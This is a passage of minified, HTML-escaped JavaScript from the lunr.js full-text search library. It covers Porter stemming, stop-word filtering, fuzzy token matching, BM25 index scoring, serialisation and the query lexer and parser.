RegExp(&quot;^&quot;+C+v+&quot;[^aeiouwxy]$&quot;),re_1c=/^(.+?[^aeiou])y$/,re_2=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,re_3=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,re_4=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,re2_4=/^(.+?)(s|t)(ion)$/,re_5=/^(.+?)e$/,re_5_1=/ll$/,re3_5=new RegExp(&quot;^&quot;+C+v+&quot;[^aeiouwxy]$&quot;),porterStemmer=function(w){var stem,suffix,firstch,re,re2,re3,re4;if(w.length&lt;3)return w;if(&quot;y&quot;==(firstch=w.substr(0,1))&amp;&amp;(w=firstch.toUpperCase()+w.substr(1)),re2=re2_1a,(re=re_1a).test(w)?w=w.replace(re,&quot;$1$2&quot;):re2.test(w)&amp;&amp;(w=w.replace(re2,&quot;$1$2&quot;)),re2=re2_1b,(re=re_1b).test(w)){var fp=re.exec(w);(re=re_mgr0).test(fp[1])&amp;&amp;(re=re_1b_2,w=w.replace(re,&quot;&quot;))}else re2.test(w)&amp;&amp;(stem=(fp=re2.exec(w))[1],(re2=re_s_v).test(stem)&amp;&amp;(re3=re3_1b_2,re4=re4_1b_2,(re2=re2_1b_2).test(w=stem)?w+=&quot;e&quot;:re3.test(w)?(re=re_1b_2,w=w.replace(re,&quot;&quot;)):re4.test(w)&amp;&amp;(w+=&quot;e&quot;)));return(re=re_1c).test(w)&amp;&amp;(w=(stem=(fp=re.exec(w))[1])+&quot;i&quot;),(re=re_2).test(w)&amp;&amp;(stem=(fp=re.exec(w))[1],suffix=fp[2],(re=re_mgr0).test(stem)&amp;&amp;(w=stem+step2list[suffix])),(re=re_3).test(w)&amp;&amp;(stem=(fp=re.exec(w))[1],suffix=fp[2],(re=re_mgr0).test(stem)&amp;&amp;(w=stem+step3list[suffix])),re2=re2_4,(re=re_4).test(w)?(stem=(fp=re.exec(w))[1],(re=re_mgr1).test(stem)&amp;&amp;(w=stem)):re2.test(w)&amp;&amp;(stem=(fp=re2.exec(w))[1]+fp[2],(re2=re_mgr1).test(stem)&amp;&amp;(w=stem)),(re=re_5).test(w)&amp;&amp;(stem=(fp=re.exec(w))[1],re2=re_meq1,re3=re3_5,((re=re_mgr1).test(stem)||re2.test(stem)&amp;&amp;!re3.test(stem))&amp;&amp;(w=stem)),re2=re_mgr1,(re=re_5_1).test(w)&amp;&amp;re2.test(w)&amp;&amp;(re=re_1b_2,w=w.replace(re,&quot;&quot;)),&quot;y&quot;==firstch&amp;&amp;(w=firstch.toLowerCase()+w.substr(1)),w},function(token){return token.update(porterStemmer)}),lunr.Pipeline.registerFunction(lunr.stemmer,&quot;stemmer&quot;),lunr.generateStopWordFilter=function(stopWords){var words=stopWords.reduce((function(memo,stopWord){return memo[stopWord]=stopWord,memo}),{});return function(token){if(token&amp;&amp;words[token.toString()]!==token.toString())return token}},lunr.stopWordFilter=lunr.generateStopWordFilter([&quot;a&quot;,&quot;able&quot;,&quot;about&quot;,&quot;across&quot;,&quot;after&quot;,&quot;all&quot;,&quot;almost&quot;,&quot;also&quot;,&quot;am&quot;,&quot;among&quot;,&quot;an&quot;,&quot;and&quot;,&quot;any&quot;,&quot;are&quot;,&quot;as&quot;,&quot;at&quot;,&quot;be&quot;,&quot;because&quot;,&quot;been&quot;,&quot;but&quot;,&quot;by&quot;,&quot;can&quot;,&quot;cannot&quot;,&quot;could&quot;,&quot;dear&quot;,&quot;did&quot;,&quot;do&quot;,&quot;does&quot;,&quot;either&quot;,&quot;else&quot;,&quot;ever&quot;,&quot;every&quot;,&quot;for&quot;,&quot;from&quot;,&quot;get&quot;,&quot;got&quot;,&quot;had&quot;,&quot;has&quot;,&quot;have&quot;,&quot;he&quot;,&quot;her&quot;,&quot;hers&quot;,&quot;him&quot;,&quot;his&quot;,&quot;how&quot;,&quot;however&quot;,&quot;i&quot;,&quot;if&quot;,&quot;in&quot;,&quot;into&quot;,&quot;is&quot;,&quot;it&quot;,&quot;its&quot;,&quot;just&quot;,&quot;least&quot;,&quot;let&quot;,&quot;like&quot;,&quot;likely&quot;,&quot;may&quot;,&quot;me&quot;,&quot;might&quot;,&quot;most&quot;,&quot;must&quot;,&quot;my&quot;,&quot;neither&quot;,&quot;no&quot;,&quot;nor&quot;,&quot;not&quot;,&quot;of&quot;,&quot;off&quot;,&quot;often&quot;,&quot;on&quot;,&quot;only&quot;,&quot;or&quot;,&quot;other&quot;,&quot;our&quot;,&quot;own&quot;,&quot;rather&quot;,&quot;said&quot;,&quot;say&quot;,&quot;says&quot;,&quot;she&quot;,&quot;should&quot;,&quot;since&quot;,&quot;so&quot;,&quot;some&quot;,&quot;than&quot;,&quot;that&quot;,&quot;the&quot;,&quot;their&quot;,&quot;them&quot;,&quot;then&quot;,&quot;there&quot;,&quot;these&quot;,&quot;they&quot;,&quot;this&quot;,&quot;tis&quot;,&quot;to&quot;,&quot;too&quot;,&quot;twas&quot;,&quot;us&quot;,&quot;wants&quot;,&quot;was&quot;,&quot;we&quot;,&quot;were&quot;,&quot;what&quot;,&quot;when&quot;,&quot;where&quot;,&quot;which&quot;,&quot;while&quot;,&quot;who&quot;,&quot;whom&quot;,&quot;why&quot;,&quot;will&quot;,&quot;with&quot;,&quot;would&quot;,&quot;yet&quot;,&quot;you&quot;,&quot;your&quot;]),lunr.Pipeline.registerFunction(lunr.stopWordFilter,&quot;stopWordFilter&quot;),lunr.trimmer=function(token){return token.update((function(s){return s.replace(/^\W+/,&quot;&quot;).replace(/\W+$/,&quot;&quot;)}))},lunr.Pipeline.registerFunction(lunr.trimmer,&quot;trimmer&quot;),lunr.TokenSet=function(){this.final=!1,this.edges={},this.id=lunr.TokenSet._nextId,lunr.TokenSet._nextId+=1},lunr.TokenSet._nextId=1,lunr.TokenSet.fromArray=function(arr){for(var builder=new lunr.TokenSet.Builder,i=0,len=arr.length;i&lt;len;i++)builder.insert(arr[i]);return builder.finish(),builder.root},lunr.TokenSet.fromClause=function(clause){return&quot;editDistance&quot;in clause?lunr.TokenSet.fromFuzzyString(clause.term,clause.editDistance):lunr.TokenSet.fromString(clause.term)},lunr.TokenSet.fromFuzzyString=function(str,editDistance){for(var root=new lunr.TokenSet,stack=[{node:root,editsRemaining:editDistance,str:str}];stack.length;){var frame=stack.pop();if(frame.str.length&gt;0){var noEditNode,char=frame.str.charAt(0);char in frame.node.edges?noEditNode=frame.node.edges[char]:(noEditNode=new lunr.TokenSet,frame.node.edges[char]=noEditNode),1==frame.str.length&amp;&amp;(noEditNode.final=!0),stack.push({node:noEditNode,editsRemaining:frame.editsRemaining,str:frame.str.slice(1)})}if(0!=frame.editsRemaining){if(&quot;*&quot;in frame.node.edges)var insertionNode=frame.node.edges[&quot;*&quot;];else{insertionNode=new lunr.TokenSet;frame.node.edges[&quot;*&quot;]=insertionNode}if(0==frame.str.length&amp;&amp;(insertionNode.final=!0),stack.push({node:insertionNode,editsRemaining:frame.editsRemaining-1,str:frame.str}),frame.str.length&gt;1&amp;&amp;stack.push({node:frame.node,editsRemaining:frame.editsRemaining-1,str:frame.str.slice(1)}),1==frame.str.length&amp;&amp;(frame.node.final=!0),frame.str.length&gt;=1){if(&quot;*&quot;in frame.node.edges)var substitutionNode=frame.node.edges[&quot;*&quot;];else{substitutionNode=new lunr.TokenSet;frame.node.edges[&quot;*&quot;]=substitutionNode}1==frame.str.length&amp;&amp;(substitutionNode.final=!0),stack.push({node:substitutionNode,editsRemaining:frame.editsRemaining-1,str:frame.str.slice(1)})}if(frame.str.length&gt;1){var transposeNode,charA=frame.str.charAt(0),charB=frame.str.charAt(1);charB in frame.node.edges?transposeNode=frame.node.edges[charB]:(transposeNode=new lunr.TokenSet,frame.node.edges[charB]=transposeNode),1==frame.str.length&amp;&amp;(transposeNode.final=!0),stack.push({node:transposeNode,editsRemaining:frame.editsRemaining-1,str:charA+frame.str.slice(2)})}}}return root},lunr.TokenSet.fromString=function(str){for(var node=new lunr.TokenSet,root=node,i=0,len=str.length;i&lt;len;i++){var char=str[i],final=i==len-1;if(&quot;*&quot;==char)node.edges[char]=node,node.final=final;else{var next=new lunr.TokenSet;next.final=final,node.edges[char]=next,node=next}}return root},lunr.TokenSet.prototype.toArray=function(){for(var words=[],stack=[{prefix:&quot;&quot;,node:this}];stack.length;){var frame=stack.pop(),edges=Object.keys(frame.node.edges),len=edges.length;frame.node.final&amp;&amp;(frame.prefix.charAt(0),words.push(frame.prefix));for(var i=0;i&lt;len;i++){var edge=edges[i];stack.push({prefix:frame.prefix.concat(edge),node:frame.node.edges[edge]})}}return words},lunr.TokenSet.prototype.toString=function(){if(this._str)return this._str;for(var str=this.final?&quot;1&quot;:&quot;0&quot;,labels=Object.keys(this.edges).sort(),len=labels.length,i=0;i&lt;len;i++){var label=labels[i];str=str+label+this.edges[label].id}return str},lunr.TokenSet.prototype.intersect=function(b){for(var output=new lunr.TokenSet,frame=void 0,stack=[{qNode:b,output:output,node:this}];stack.length;){frame=stack.pop();for(var qEdges=Object.keys(frame.qNode.edges),qLen=qEdges.length,nEdges=Object.keys(frame.node.edges),nLen=nEdges.length,q=0;q&lt;qLen;q++)for(var qEdge=qEdges[q],n=0;n&lt;nLen;n++){var nEdge=nEdges[n];if(nEdge==qEdge||&quot;*&quot;==qEdge){var node=frame.node.edges[nEdge],qNode=frame.qNode.edges[qEdge],final=node.final&amp;&amp;qNode.final,next=void 0;nEdge in frame.output.edges?(next=frame.output.edges[nEdge]).final=next.final||final:((next=new lunr.TokenSet).final=final,frame.output.edges[nEdge]=next),stack.push({qNode:qNode,output:next,node:node})}}}return output},lunr.TokenSet.Builder=function(){this.previousWord=&quot;&quot;,this.root=new lunr.TokenSet,this.uncheckedNodes=[],this.minimizedNodes={}},lunr.TokenSet.Builder.prototype.insert=function(word){var node,commonPrefix=0;if(word&lt;this.previousWord)throw new Error(&quot;Out of order word insertion&quot;);for(var i=0;i&lt;word.length&amp;&amp;i&lt;this.previousWord.length&amp;&amp;word[i]==this.previousWord[i];i++)commonPrefix++;this.minimize(commonPrefix),node=0==this.uncheckedNodes.length?this.root:this.uncheckedNodes[this.uncheckedNodes.length-1].child;for(i=commonPrefix;i&lt;word.length;i++){var nextNode=new lunr.TokenSet,char=word[i];node.edges[char]=nextNode,this.uncheckedNodes.push({parent:node,char:char,child:nextNode}),node=nextNode}node.final=!0,this.previousWord=word},lunr.TokenSet.Builder.prototype.finish=function(){this.minimize(0)},lunr.TokenSet.Builder.prototype.minimize=function(downTo){for(var i=this.uncheckedNodes.length-1;i&gt;=downTo;i--){var node=this.uncheckedNodes[i],childKey=node.child.toString();childKey in this.minimizedNodes?node.parent.edges[node.char]=this.minimizedNodes[childKey]:(node.child._str=childKey,this.minimizedNodes[childKey]=node.child),this.uncheckedNodes.pop()}},lunr.Index=function(attrs){this.invertedIndex=attrs.invertedIndex,this.fieldVectors=attrs.fieldVectors,this.tokenSet=attrs.tokenSet,this.fields=attrs.fields,this.pipeline=attrs.pipeline},lunr.Index.prototype.search=function(queryString){return this.query((function(query){new lunr.QueryParser(queryString,query).parse()}))},lunr.Index.prototype.query=function(fn){for(var query=new lunr.Query(this.fields),matchingFields=Object.create(null),queryVectors=Object.create(null),termFieldCache=Object.create(null),requiredMatches=Object.create(null),prohibitedMatches=Object.create(null),i=0;i&lt;this.fields.length;i++)queryVectors[this.fields[i]]=new lunr.Vector;fn.call(query,query);for(i=0;i&lt;query.clauses.length;i++){var clause=query.clauses[i],terms=null,clauseMatches=lunr.Set.empty;terms=clause.usePipeline?this.pipeline.runString(clause.term,{fields:clause.fields}):[clause.term];for(var m=0;m&lt;terms.length;m++){var term=terms[m];clause.term=term;var termTokenSet=lunr.TokenSet.fromClause(clause),expandedTerms=this.tokenSet.intersect(termTokenSet).toArray();if(0===expandedTerms.length&amp;&amp;clause.presence===lunr.Query.presence.REQUIRED){for(var k=0;k&lt;clause.fields.length;k++){requiredMatches[field=clause.fields[k]]=lunr.Set.empty}break}for(var j=0;j&lt;expandedTerms.length;j++){var expandedTerm=expandedTerms[j],posting=this.invertedIndex[expandedTerm],termIndex=posting._index;for(k=0;k&lt;clause.fields.length;k++){var fieldPosting=posting[field=clause.fields[k]],matchingDocumentRefs=Object.keys(fieldPosting),termField=expandedTerm+&quot;/&quot;+field,matchingDocumentsSet=new lunr.Set(matchingDocumentRefs);if(clause.presence==lunr.Query.presence.REQUIRED&amp;&amp;(clauseMatches=clauseMatches.union(matchingDocumentsSet),void 0===requiredMatches[field]&amp;&amp;(requiredMatches[field]=lunr.Set.complete)),clause.presence!=lunr.Query.presence.PROHIBITED){if(queryVectors[field].upsert(termIndex,clause.boost,(function(a,b){return a+b})),!termFieldCache[termField]){for(var l=0;l&lt;matchingDocumentRefs.length;l++){var fieldMatch,matchingDocumentRef=matchingDocumentRefs[l],matchingFieldRef=new lunr.FieldRef(matchingDocumentRef,field),metadata=fieldPosting[matchingDocumentRef];void 0===(fieldMatch=matchingFields[matchingFieldRef])?matchingFields[matchingFieldRef]=new lunr.MatchData(expandedTerm,field,metadata):fieldMatch.add(expandedTerm,field,metadata)}termFieldCache[termField]=!0}}else void 0===prohibitedMatches[field]&amp;&amp;(prohibitedMatches[field]=lunr.Set.empty),prohibitedMatches[field]=prohibitedMatches[field].union(matchingDocumentsSet)}}}if(clause.presence===lunr.Query.presence.REQUIRED)for(k=0;k&lt;clause.fields.length;k++){requiredMatches[field=clause.fields[k]]=requiredMatches[field].intersect(clauseMatches)}}var allRequiredMatches=lunr.Set.complete,allProhibitedMatches=lunr.Set.empty;for(i=0;i&lt;this.fields.length;i++){var field;requiredMatches[field=this.fields[i]]&amp;&amp;(allRequiredMatches=allRequiredMatches.intersect(requiredMatches[field])),prohibitedMatches[field]&amp;&amp;(allProhibitedMatches=allProhibitedMatches.union(prohibitedMatches[field]))}var matchingFieldRefs=Object.keys(matchingFields),results=[],matches=Object.create(null);if(query.isNegated()){matchingFieldRefs=Object.keys(this.fieldVectors);for(i=0;i&lt;matchingFieldRefs.length;i++){matchingFieldRef=matchingFieldRefs[i];var fieldRef=lunr.FieldRef.fromString(matchingFieldRef);matchingFields[matchingFieldRef]=new lunr.MatchData}}for(i=0;i&lt;matchingFieldRefs.length;i++){var docRef=(fieldRef=lunr.FieldRef.fromString(matchingFieldRefs[i])).docRef;if(allRequiredMatches.contains(docRef)&amp;&amp;!allProhibitedMatches.contains(docRef)){var docMatch,fieldVector=this.fieldVectors[fieldRef],score=queryVectors[fieldRef.fieldName].similarity(fieldVector);if(void 0!==(docMatch=matches[docRef]))docMatch.score+=score,docMatch.matchData.combine(matchingFields[fieldRef]);else{var match={ref:docRef,score:score,matchData:matchingFields[fieldRef]};matches[docRef]=match,results.push(match)}}}return results.sort((function(a,b){return b.score-a.score}))},lunr.Index.prototype.toJSON=function(){var invertedIndex=Object.keys(this.invertedIndex).sort().map((function(term){return[term,this.invertedIndex[term]]}),this),fieldVectors=Object.keys(this.fieldVectors).map((function(ref){return[ref,this.fieldVectors[ref].toJSON()]}),this);return{version:lunr.version,fields:this.fields,fieldVectors:fieldVectors,invertedIndex:invertedIndex,pipeline:this.pipeline.toJSON()}},lunr.Index.load=function(serializedIndex){var attrs={},fieldVectors={},serializedVectors=serializedIndex.fieldVectors,invertedIndex=Object.create(null),serializedInvertedIndex=serializedIndex.invertedIndex,tokenSetBuilder=new lunr.TokenSet.Builder,pipeline=lunr.Pipeline.load(serializedIndex.pipeline);serializedIndex.version!=lunr.version&amp;&amp;lunr.utils.warn(&quot;Version mismatch when loading serialised index. Current version of lunr &#039;&quot;+lunr.version+&quot;&#039; does not match serialized index &#039;&quot;+serializedIndex.version+&quot;&#039;&quot;);for(var i=0;i&lt;serializedVectors.length;i++){var ref=(tuple=serializedVectors[i])[0],elements=tuple[1];fieldVectors[ref]=new lunr.Vector(elements)}for(i=0;i&lt;serializedInvertedIndex.length;i++){var tuple,term=(tuple=serializedInvertedIndex[i])[0],posting=tuple[1];tokenSetBuilder.insert(term),invertedIndex[term]=posting}return tokenSetBuilder.finish(),attrs.fields=serializedIndex.fields,attrs.fieldVectors=fieldVectors,attrs.invertedIndex=invertedIndex,attrs.tokenSet=tokenSetBuilder.root,attrs.pipeline=pipeline,new lunr.Index(attrs)},lunr.Builder=function(){this._ref=&quot;id&quot;,this._fields=Object.create(null),this._documents=Object.create(null),this.invertedIndex=Object.create(null),this.fieldTermFrequencies={},this.fieldLengths={},this.tokenizer=lunr.tokenizer,this.pipeline=new lunr.Pipeline,this.searchPipeline=new lunr.Pipeline,this.documentCount=0,this._b=.75,this._k1=1.2,this.termIndex=0,this.metadataWhitelist=[]},lunr.Builder.prototype.ref=function(ref){this._ref=ref},lunr.Builder.prototype.field=function(fieldName,attributes){if(/\//.test(fieldName))throw new RangeError(&quot;Field &#039;&quot;+fieldName+&quot;&#039; contains illegal character &#039;/&#039;&quot;);this._fields[fieldName]=attributes||{}},lunr.Builder.prototype.b=function(number){this._b=number&lt;0?0:number&gt;1?1:number},lunr.Builder.prototype.k1=function(number){this._k1=number},lunr.Builder.prototype.add=function(doc,attributes){var docRef=doc[this._ref],fields=Object.keys(this._fields);this._documents[docRef]=attributes||{},this.documentCount+=1;for(var i=0;i&lt;fields.length;i++){var fieldName=fields[i],extractor=this._fields[fieldName].extractor,field=extractor?extractor(doc):doc[fieldName],tokens=this.tokenizer(field,{fields:[fieldName]}),terms=this.pipeline.run(tokens),fieldRef=new lunr.FieldRef(docRef,fieldName),fieldTerms=Object.create(null);this.fieldTermFrequencies[fieldRef]=fieldTerms,this.fieldLengths[fieldRef]=0,this.fieldLengths[fieldRef]+=terms.length;for(var j=0;j&lt;terms.length;j++){var term=terms[j];if(null==fieldTerms[term]&amp;&amp;(fieldTerms[term]=0),fieldTerms[term]+=1,null==this.invertedIndex[term]){var posting=Object.create(null);posting._index=this.termIndex,this.termIndex+=1;for(var k=0;k&lt;fields.length;k++)posting[fields[k]]=Object.create(null);this.invertedIndex[term]=posting}null==this.invertedIndex[term][fieldName][docRef]&amp;&amp;(this.invertedIndex[term][fieldName][docRef]=Object.create(null));for(var l=0;l&lt;this.metadataWhitelist.length;l++){var metadataKey=this.metadataWhitelist[l],metadata=term.metadata[metadataKey];null==this.invertedIndex[term][fieldName][docRef][metadataKey]&amp;&amp;(this.invertedIndex[term][fieldName][docRef][metadataKey]=[]),this.invertedIndex[term][fieldName][docRef][metadataKey].push(metadata)}}}},lunr.Builder.prototype.calculateAverageFieldLengths=function(){for(var fieldRefs=Object.keys(this.fieldLengths),numberOfFields=fieldRefs.length,accumulator={},documentsWithField={},i=0;i&lt;numberOfFields;i++){var fieldRef=lunr.FieldRef.fromString(fieldRefs[i]),field=fieldRef.fieldName;documentsWithField[field]||(documentsWithField[field]=0),documentsWithField[field]+=1,accumulator[field]||(accumulator[field]=0),accumulator[field]+=this.fieldLengths[fieldRef]}var fields=Object.keys(this._fields);for(i=0;i&lt;fields.length;i++){var fieldName=fields[i];accumulator[fieldName]=accumulator[fieldName]/documentsWithField[fieldName]}this.averageFieldLength=accumulator},lunr.Builder.prototype.createFieldVectors=function(){for(var fieldVectors={},fieldRefs=Object.keys(this.fieldTermFrequencies),fieldRefsLength=fieldRefs.length,termIdfCache=Object.create(null),i=0;i&lt;fieldRefsLength;i++){for(var fieldRef=lunr.FieldRef.fromString(fieldRefs[i]),fieldName=fieldRef.fieldName,fieldLength=this.fieldLengths[fieldRef],fieldVector=new lunr.Vector,termFrequencies=this.fieldTermFrequencies[fieldRef],terms=Object.keys(termFrequencies),termsLength=terms.length,fieldBoost=this._fields[fieldName].boost||1,docBoost=this._documents[fieldRef.docRef].boost||1,j=0;j&lt;termsLength;j++){var idf,score,scoreWithPrecision,term=terms[j],tf=termFrequencies[term],termIndex=this.invertedIndex[term]._index;void 0===termIdfCache[term]?(idf=lunr.idf(this.invertedIndex[term],this.documentCount),termIdfCache[term]=idf):idf=termIdfCache[term],score=idf*((this._k1+1)*tf)/(this._k1*(1-this._b+this._b*(fieldLength/this.averageFieldLength[fieldName]))+tf),score*=fieldBoost,score*=docBoost,scoreWithPrecision=Math.round(1e3*score)/1e3,fieldVector.insert(termIndex,scoreWithPrecision)}fieldVectors[fieldRef]=fieldVector}this.fieldVectors=fieldVectors},lunr.Builder.prototype.createTokenSet=function(){this.tokenSet=lunr.TokenSet.fromArray(Object.keys(this.invertedIndex).sort())},lunr.Builder.prototype.build=function(){return this.calculateAverageFieldLengths(),this.createFieldVectors(),this.createTokenSet(),new lunr.Index({invertedIndex:this.invertedIndex,fieldVectors:this.fieldVectors,tokenSet:this.tokenSet,fields:Object.keys(this._fields),pipeline:this.searchPipeline})},lunr.Builder.prototype.use=function(fn){var args=Array.prototype.slice.call(arguments,1);args.unshift(this),fn.apply(this,args)},lunr.MatchData=function(term,field,metadata){for(var clonedMetadata=Object.create(null),metadataKeys=Object.keys(metadata||{}),i=0;i&lt;metadataKeys.length;i++){var key=metadataKeys[i];clonedMetadata[key]=metadata[key].slice()}this.metadata=Object.create(null),void 0!==term&amp;&amp;(this.metadata[term]=Object.create(null),this.metadata[term][field]=clonedMetadata)},lunr.MatchData.prototype.combine=function(otherMatchData){for(var terms=Object.keys(otherMatchData.metadata),i=0;i&lt;terms.length;i++){var term=terms[i],fields=Object.keys(otherMatchData.metadata[term]);null==this.metadata[term]&amp;&amp;(this.metadata[term]=Object.create(null));for(var j=0;j&lt;fields.length;j++){var field=fields[j],keys=Object.keys(otherMatchData.metadata[term][field]);null==this.metadata[term][field]&amp;&amp;(this.metadata[term][field]=Object.create(null));for(var k=0;k&lt;keys.length;k++){var key=keys[k];null==this.metadata[term][field][key]?this.metadata[term][field][key]=otherMatchData.metadata[term][field][key]:this.metadata[term][field][key]=this.metadata[term][field][key].concat(otherMatchData.metadata[term][field][key])}}}},lunr.MatchData.prototype.add=function(term,field,metadata){if(!(term in this.metadata))return this.metadata[term]=Object.create(null),void(this.metadata[term][field]=metadata);if(field in this.metadata[term])for(var metadataKeys=Object.keys(metadata),i=0;i&lt;metadataKeys.length;i++){var key=metadataKeys[i];key in this.metadata[term][field]?this.metadata[term][field][key]=this.metadata[term][field][key].concat(metadata[key]):this.metadata[term][field][key]=metadata[key]}else this.metadata[term][field]=metadata},lunr.Query=function(allFields){this.clauses=[],this.allFields=allFields},lunr.Query.wildcard=new String(&quot;*&quot;),lunr.Query.wildcard.NONE=0,lunr.Query.wildcard.LEADING=1,lunr.Query.wildcard.TRAILING=2,lunr.Query.presence={OPTIONAL:1,REQUIRED:2,PROHIBITED:3},lunr.Query.prototype.clause=function(clause){return&quot;fields&quot;in clause||(clause.fields=this.allFields),&quot;boost&quot;in clause||(clause.boost=1),&quot;usePipeline&quot;in clause||(clause.usePipeline=!0),&quot;wildcard&quot;in clause||(clause.wildcard=lunr.Query.wildcard.NONE),clause.wildcard&amp;lunr.Query.wildcard.LEADING&amp;&amp;clause.term.charAt(0)!=lunr.Query.wildcard&amp;&amp;(clause.term=&quot;*&quot;+clause.term),clause.wildcard&amp;lunr.Query.wildcard.TRAILING&amp;&amp;clause.term.slice(-1)!=lunr.Query.wildcard&amp;&amp;(clause.term=clause.term+&quot;*&quot;),&quot;presence&quot;in clause||(clause.presence=lunr.Query.presence.OPTIONAL),this.clauses.push(clause),this},lunr.Query.prototype.isNegated=function(){for(var i=0;i&lt;this.clauses.length;i++)if(this.clauses[i].presence!=lunr.Query.presence.PROHIBITED)return!1;return!0},lunr.Query.prototype.term=function(term,options){if(Array.isArray(term))return term.forEach((function(t){this.term(t,lunr.utils.clone(options))}),this),this;var clause=options||{};return clause.term=term.toString(),this.clause(clause),this},lunr.QueryParseError=function(message,start,end){this.name=&quot;QueryParseError&quot;,this.message=message,this.start=start,this.end=end},lunr.QueryParseError.prototype=new Error,lunr.QueryLexer=function(str){this.lexemes=[],this.str=str,this.length=str.length,this.pos=0,this.start=0,this.escapeCharPositions=[]},lunr.QueryLexer.prototype.run=function(){for(var state=lunr.QueryLexer.lexText;state;)state=state(this)},lunr.QueryLexer.prototype.sliceString=function(){for(var subSlices=[],sliceStart=this.start,sliceEnd=this.pos,i=0;i&lt;this.escapeCharPositions.length;i++)sliceEnd=this.escapeCharPositions[i],subSlices.push(this.str.slice(sliceStart,sliceEnd)),sliceStart=sliceEnd+1;return subSlices.push(this.str.slice(sliceStart,this.pos)),this.escapeCharPositions.length=0,subSlices.join(&quot;&quot;)},lunr.QueryLexer.prototype.emit=function(type){this.lexemes.push({type:type,str:this.sliceString(),start:this.start,end:this.pos}),this.start=this.pos},lunr.QueryLexer.prototype.escapeCharacter=function(){this.escapeCharPositions.push(this.pos-1),this.pos+=1},lunr.QueryLexer.prototype.next=function(){if(this.pos&gt;=this.length)return lunr.QueryLexer.EOS;var char=this.str.charAt(this.pos);return this.pos+=1,char},lunr.QueryLexer.prototype.width=function(){return this.pos-this.start},lunr.QueryLexer.prototype.ignore=function(){this.start==this.pos&amp;&amp;(this.pos+=1),this.start=this.pos},lunr.QueryLexer.prototype.backup=function(){this.pos-=1},lunr.QueryLexer.prototype.acceptDigitRun=function(){var char,charCode;do{charCode=(char=this.next()).charCodeAt(0)}while(charCode&gt;47&amp;&amp;charCode&lt;58);char!=lunr.QueryLexer.EOS&amp;&amp;this.backup()},lunr.QueryLexer.prototype.more=function(){return this.pos&lt;this.length},lunr.QueryLexer.EOS=&quot;EOS&quot;,lunr.QueryLexer.FIELD=&quot;FIELD&quot;,lunr.QueryLexer.TERM=&quot;TERM&quot;,lunr.QueryLexer.EDIT_DISTANCE=&quot;EDIT_DISTANCE&quot;,lunr.QueryLexer.BOOST=&quot;BOOST&quot;,lunr.QueryLexer.PRESENCE=&quot;PRESENCE&quot;,lunr.QueryLexer.lexField=function(lexer){return lexer.backup(),lexer.emit(lunr.QueryLexer.FIELD),lexer.ignore(),lunr.QueryLexer.lexText},lunr.QueryLexer.lexTerm=function(lexer){if(lexer.width()&gt;1&amp;&amp;(lexer.backup(),lexer.emit(lunr.QueryLexer.TERM)),lexer.ignore(),lexer.more())return lunr.QueryLexer.lexText},lunr.QueryLexer.lexEditDistance=function(lexer){return lexer.ignore(),lexer.acceptDigitRun(),lexer.emit(lunr.QueryLexer.EDIT_DISTANCE),lunr.QueryLexer.lexText},lunr.QueryLexer.lexBoost=function(lexer){return lexer.ignore(),lexer.acceptDigitRun(),lexer.emit(lunr.QueryLexer.BOOST),lunr.QueryLexer.lexText},lunr.QueryLexer.lexEOS=function(lexer){lexer.width()&gt;0&amp;&amp;lexer.emit(lunr.QueryLexer.TERM)},lunr.QueryLexer.termSeparator=lunr.tokenizer.separator,lunr.QueryLexer.lexText=function(lexer){for(;;){var char=lexer.next();if(char==lunr.QueryLexer.EOS)return lunr.QueryLexer.lexEOS;if(92!=char.charCodeAt(0)){if(&quot;:&quot;==char)return lunr.QueryLexer.lexField;if(&quot;~&quot;==char)return lexer.backup(),lexer.width()&gt;0&amp;&amp;lexer.emit(lunr.QueryLexer.TERM),lunr.QueryLexer.lexEditDistance;if(&quot;^&quot;==char)return lexer.backup(),lexer.width()&gt;0&amp;&amp;lexer.emit(lunr.QueryLexer.TERM),lunr.QueryLexer.lexBoost;if(&quot;+&quot;==char&amp;&amp;1===lexer.width())return lexer.emit(lunr.QueryLexer.PRESENCE),lunr.QueryLexer.lexText;if(&quot;-&quot;==char&amp;&amp;1===lexer.width())return lexer.emit(lunr.QueryLexer.PRESENCE),lunr.QueryLexer.lexText;if(char.match(lunr.QueryLexer.termSeparator))return lunr.QueryLexer.lexTerm}else lexer.escapeCharacter()}},lunr.QueryParser=function(str,query){this.lexer=new lunr.QueryLexer(str),this.query=query,this.currentClause={},this.lexemeIdx=0},lunr.QueryParser.prototype.parse=function(){this.lexer.run(),this.lexemes=this.lexer.lexemes;for(var state=lunr.QueryParser.parseClause;state;)state=state(this);return this.query},lunr.QueryParser.prototype.peekLexeme=function(){return this.lexemes[this.lexemeIdx]},lunr.QueryParser.prototype.consumeLexeme=function(){var lexeme=this.peekLexeme();return this.lexemeIdx+=1,lexeme},lunr.QueryParser.prototype.nextClause=function(){var completedClause=this.currentClause;this.query.clause(completedClause),this.currentClause={}},lunr.QueryParser.parseClause=function(parser){var lexeme=parser.peekLexeme();if(null!=lexeme)switch(lexeme.type){case lunr.QueryLexer.PRESENCE:return lunr.QueryParser.parsePresence;case lunr.QueryLexer.FIELD:return lunr.QueryParser.parseField;case lunr.QueryLexer.TERM:return lunr.QueryParser.parseTerm;default:var errorMessage=&quot;expected either a field or a term, found &quot;+lexeme.type;throw lexeme.str.length&gt;=1&amp;&amp;(errorMessage+=&quot; with value &#039;&quot;+lexeme.str+&quot;&#039;&quot;),new lunr.QueryParseError(errorMessage,lexeme.start,lexeme.end)}},lunr.QueryParser.parsePresence=function(parser){var lexeme=parser.consumeLexeme();if(null!=lexeme){switch(lexeme.str){case&quot;-&quot;:parser.currentClause.presence=lunr.Query.presence.PROHIBITED;break;case&quot;+&quot;:parser.currentClause.presence=lunr.Query.presence.REQUIRED;break;default:var errorMessage=&quot;unrecognised presence operator&#039;&quot;+lexeme.str+&quot;&#039;&quot;;throw new lunr.QueryParseError(errorMessage,lexeme.start,lexeme.end)}var nextLexeme=parser.peekLexeme();if(null==nextLexeme){errorMessage=&quot;expecting term or field, found nothing&quot;;throw new lunr.QueryParseError(errorMessage,lexeme.start,lexeme.end)}switch(nextLexeme.type){case lunr.QueryLexer.FIELD:return lunr.QueryParser.parseField;case lunr.QueryLexer.TERM:return lunr.QueryParser.parseTerm;default:errorMessage=&quot;expecting term or field, found 